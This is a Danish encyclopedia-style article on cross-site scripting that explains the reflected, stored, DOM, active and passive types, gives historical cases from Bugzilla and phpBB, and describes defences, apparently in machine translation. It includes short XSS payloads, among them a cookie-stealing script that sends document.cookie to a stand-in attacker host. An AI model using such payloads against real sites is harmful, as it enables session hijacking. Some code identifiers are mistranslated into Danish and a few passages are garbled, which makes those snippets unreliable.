XSS ( engelsk Cross-Site Scripting - "cross -site scripting ") - en type angreb på websystemer , som består i at introducere ondsindet kode på siden udstedt af websystemet (som vil blive udført på brugerens computer , når han åbner denne side) og denne kodes interaktion med hackerens webserver. Det er en variation af Code Injection- angrebet .
Det specifikke ved sådanne angreb er, at den ondsindede kode kan bruge brugerens autorisation i websystemet til at få udvidet adgang til den eller til at få brugerens autorisationsdata. Ondsindet kode kan indsættes på en side enten gennem en sårbarhed i webserveren eller gennem en sårbarhed på brugerens computer [1] .
Udtrykket forkortes som "XSS" for at undgå forveksling med cascading style sheets , der bruger forkortelsen "CSS".
XSS er rangeret som tredje i nøglerisici ved webapplikationer ifølge OWASP 2021 [2] . I lang tid var programmører ikke opmærksomme på dem, da de betragtede dem som harmløse. Men denne udtalelse er fejlagtig: Der kan være meget følsomme data på en side eller i en HTTP-cookie (f.eks. en administratorsession- id eller betalingsdokumentnumre), og hvor der ikke er nogen beskyttelse mod CSRF , kan en angriber udføre enhver handling tilgængelig for brugeren. Cross-site scripting kan bruges til at udføre et DoS-angreb [3] .
Internetsikkerhed håndhæves gennem mange mekanismer, herunder et vigtigt koncept kendt som domænebegrænsningsreglen . Denne regel tillader scripts, der findes på sider på det samme websted (https://mybank.example.com), at få adgang til hinandens metoder og egenskaber uden begrænsninger, men forhindrer adgang til de fleste metoder og egenskaber for sider på et andet websted (https:// othersite .example.com) (utilgængeligt link) [4] .
Cross-site scripting udnytter kendte sårbarheder i webapplikationer, servere (eller systemplugins relateret til dem). Ved at bruge en af dem indlejrer angriberen ondsindet indhold i indholdet på et allerede hacket websted. Som et resultat modtager brugeren flettet indhold i en webbrowser , der er blevet leveret fra en betroet kilde, og handler således i henhold til de tilladelser, der er givet til dette system. Efter at have formået at injicere det nødvendige script på en webside, kan en angriber opnå forhøjede privilegier med hensyn til at arbejde med websider, cookies og anden information, der er gemt i browseren for en given bruger.
Udtrykket "scripting på tværs af websteder" betød oprindeligt interaktionen mellem en sårbar webapplikation og en angribers websted på en sådan måde, at JavaScript -kode, der var udarbejdet af angriberen, blev eksekveret i sammenhæng med det angrebne domæne (afspejlet eller lagret XSS-sårbarhed). Gradvist begyndte definitionen at inkludere andre måder at indlejre kode på, herunder brugen af robuste og ikke-JavaScript-sprog (såsom ActiveX , Java , VBScript , Flash og endda HTML ), hvilket skabte forvirring blandt nybegyndere til informationssikkerhed . [5]
XSS-angreb mod React JS-biblioteket forhindres stort set, fordi alt konverteres til strenge, før det gengives. Dette sikrer, at ingen nogensinde vil injicere noget, der ikke er eksplicit skrevet af en JS-udvikler i en webapplikation.
XSS-sårbarheder er blevet rapporteret og udnyttet siden midten af 1990'erne [ 6] . Bemærkelsesværdige websteder, der tidligere har været berørt, omfatter sociale netværkssider såsom Twitter [7] , VKontakte [8] , MySpace [9] , YouTube [10] , Facebook [11] og andre.
Der er ingen klar klassificering af cross-site scripting. Men de fleste eksperter skelner mellem mindst to typer XSS: "reflekteret" ("reflekteret XSS" eller "Type 1") og "lagret" ("lagret XSS" eller "Type 2") .
Det reflekterede sårbarhedsangreb er langt det mest almindelige XSS-angreb [13] . Disse sårbarheder opstår, når data leveret af en webklient, oftest i HTTP-anmodningsparametre eller i form af HTML , eksekveres direkte af serversidescripts for at parse og vise resultatsiden for den klient uden korrekt behandling [14] . Et reflekteret XSS-angreb udløses, når en bruger klikker på et specielt udformet link.
Eksempel:
http://example.com/search.php?q= < script > DoSomething ();</ script >Hvis webstedet ikke undslipper vinkelparenteser ved at konvertere dem til " <" og " >", får vi scriptet på søgeresultatsiden.
Afspejlede angreb sendes normalt via e-mail eller lægges på en webside. Agn- URL'en er ikke mistænkelig og peger på et pålideligt websted, men indeholder en XSS-vektor. Hvis det betroede websted er sårbart over for XSS-vektoren, kan det at følge linket få offerets browser til at udføre det indlejrede script.
Gemt (permanent)Stored XSS er den mest ødelæggende type angreb. Lagret XSS er muligt, når en angriber formår at injicere ondsindet kode i en server, der kører i browseren, hver gang den originale side tilgås. Et klassisk eksempel på denne sårbarhed er fora, hvor det er tilladt at efterlade kommentarer i HTML-format uden begrænsninger, samt andre Web 2.0- sites (blogs, wikier, imageboards ), når brugertekster og billeder er gemt på serveren. Scripts indsættes i disse tekster og figurer.
Kodestykke til at stjæle en nøgle med et sessions-id:
< script > dokument . location = "http://attackerhost.example/cgi-bin/cookiesteal.cgi?" + dokument . cookie </ script > DOM-modellerXSS i DOM forekommer på klientsiden under databehandling inde i et JavaScript-script. Denne type XSS har fået sit navn, fordi den er implementeret gennem DOM (Document Object Model) - en platform og sproguafhængig programmeringsgrænseflade, der tillader programmer og scripts at få adgang til indholdet af HTML- og XML-dokumenter, samt ændre indholdet, struktur og design af sådanne dokumenter. Med forkert filtrering er det muligt at ændre DOM for det angrebne websted og opnå JavaScript-kodeeksekvering i sammenhæng med det angrebne websted.
Eksempel:
< body > < script > dokument . skriv ( placering . href );</ script > </ body >XSS DOM-eksemplet er en fejl fundet i 2011 i flere jQuery- plugins [15] . XSS DOM-forebyggelsesteknikker inkluderer foranstaltninger, der er typiske for traditionel XSS, men implementeret i javascript og sendt til websider - inputvalidering og angrebsforebyggelse [16] . Nogle javascript- frameworks har indbygget forsvar mod disse og andre typer angreb, såsom AngularJS [17] .
Bugzilla , 2004 [19] I nogle browsere (i det mindste Internet Explorer ) når du angiver en URL
http://bugzilla.mozilla.org/enter_bug.cgi ? <script>alert('foo');</script>der er ingen URL-kodning, og koden
dokument . skriv ( "<p>URL: " + dokument . placering + "</p>" );injicer scriptet på siden.
På grund af fejl kan browseren udføre scripts i SVG , overtræde Samme Domain Policy- reglen . Det er alvorlige fejl; efter at de er opdaget, lukkes de hurtigt, men i overgangsperioden bliver næsten alle Web 2.0- websteder farlige : fora, wikier, imageboards. Hvis en sådan fejl findes, anbefales det, at du bruger en anden browser, indtil opdateringen udgives.
Der er også mere subtile fejl, der opstår under meget specifikke forhold og ikke forårsager større skade. Sådanne fejl bliver muligvis ikke rettet i årevis, og det er mere rentabelt at rette webstedet end at vente på en browseropdatering.
Ingen escape af HTML-specialtegn Al tilpasset tekst skal escapesphpBB , 2002 [20] [21] . Selvom billed-URL'en kontrolleres i forhold til protokollen (kun tilladt http:), er selve URL-adressen ikke escaped på nogen måde, og en linje som f.eks.
[img] http://aa/a "onerror=" javascript:alert(document.cookie)[/img]du kan trække et brugerdefineret script ind i dokumentet.
Hjemmesidefejl er meget mere almindelige. For at sikre, at browseren ikke forveksler strengen med et HTML-tag, skal fem tegn escapes'"&<> : . Serveren undslipper muligvis ikke alle tegn (en velkendt PHP -fejl [22] ), eller webprogrammøren glemmer simpelthen at undslippe strengen.
Normalt gemmes tekst uden escape i databaser , og alle brugerdefinerede strenge skal escapes, hver gang de indlejres i HTML: Hvis f.eks. billedets URL ikke er escaped , kan brugeren indtaste noget som f.eks http://example.com/img.png" onmouseover="javascript:DoSomething();.
Mange websteder tillader tekstformatering ved hjælp af en form for markup-sprog ( HTML , BBCode , wiki-markup ). Ofte udføres der ikke en komplet leksikalsk analyse af markup-sproget, men kun transformation til "sikker" HTML ved hjælp af regulære udtryk [23] . Dette forenkler programmeringen, men kræver en grundig forståelse af, hvordan scriptet kan infiltrere den resulterende HTML-kode.
Ingen filtrering af attributter og deres værdier i tilladte tagsEt typisk eksempel ville være et link <a href="javascript:DoSomething()">. Selvom forummet tillader eksterne links, bør du ikke lade protokollerne javascript:og data:.
Andre angreb er ikke XSS, men andre angreb er ikke mindre skadelige: en hacker kan angive en server med en smal internetkanal som adresse, lamme dens arbejde med et stort antal anmodninger, eller bruge den til at arrangere et XSRF- angreb.
Ændring af kodningen i sidehovedetModerne browsere forsøger at bestemme kodningen af en side på farten og fortolker html i henhold til denne kodning. Hvis tagget <title>er placeret før tagget og er fyldt med brugerdata, kan en hacker indsætte ondsindet UTF-7-<meta> kodet html-kode og dermed omgå filtreringen af tegn som f.eks . For at beskytte mod denne sårbarhed skal du udtrykkeligt angive sidekodningen før eventuelle tilpassede felter. HTML 5 forbyder udtrykkeligt browserunderstøttelse af UTF-7-kodning som potentielt farlig. [24]<"
Gennem SQL InjectionHvis webstedet både tillader indsprøjtning af SQL-kode og viser indholdet af databasen uden at undslippe (enten af uvidenhed, eller den færdiglavede HTML-kode er gemt i databasen, [25] eller forfatteren ved med sikkerhed, at der er ingen "dårlige" tegn i databasen), kan du udføre et usædvanligt angreb.
Ved at injicere SQL-kode skriver vi den "forgiftede" side til databasen. Hvis nogen får adgang til denne databaserække, vil et ondsindet script komme ind i deres browser. Der er angreb uden at gemme HTML i databasen - DBMS'et i stedet for feltet gemt i databasen vil returnere det script, der er skrevet i anmodningsteksten.
Et aktivt XSS-angreb kræver ingen handling fra brugerens side med hensyn til webapplikationens funktionalitet.
Eksempel:
<input type=text value=a onfocus=alert(1337) AUTOFOCUS>
Dette eksempel viser et inputfelt, der har en fokus vises hændelseshandler, der udfører den faktiske angrebskode, og egenskaben for autofokusindstilling er aktiveret for dette inputfelt. Dette indstiller automatisk fokus, som kalder fokussæt-handleren, der indeholder angrebskoden. Angrebet er aktivt og udføres automatisk, uden at det kræver nogen aktivitet fra brugeren.
Passiv (autonom)Et passivt XSS-angreb udløses, når en bruger udfører en bestemt handling (klik eller mouseover osv.).
Eksempel:
<a href='a' onmouseover=alert(1337) style='font-size:500px'>
Eksemplet viser et hyperlink, der fanger brugerens opmærksomhed på en særlig måde og/eller fylder betydeligt, hvilket øger sandsynligheden for at svæve musemarkøren, i dette tilfælde med stor skrift. Hyperlinket har en mouseover hændelseshandler, der indeholder angrebskoden. Angrebet er passivt, fordi det ikke gør noget, og angrebskoden udføres ikke, mens man venter på, at brugeren holder musemarkøren over linket.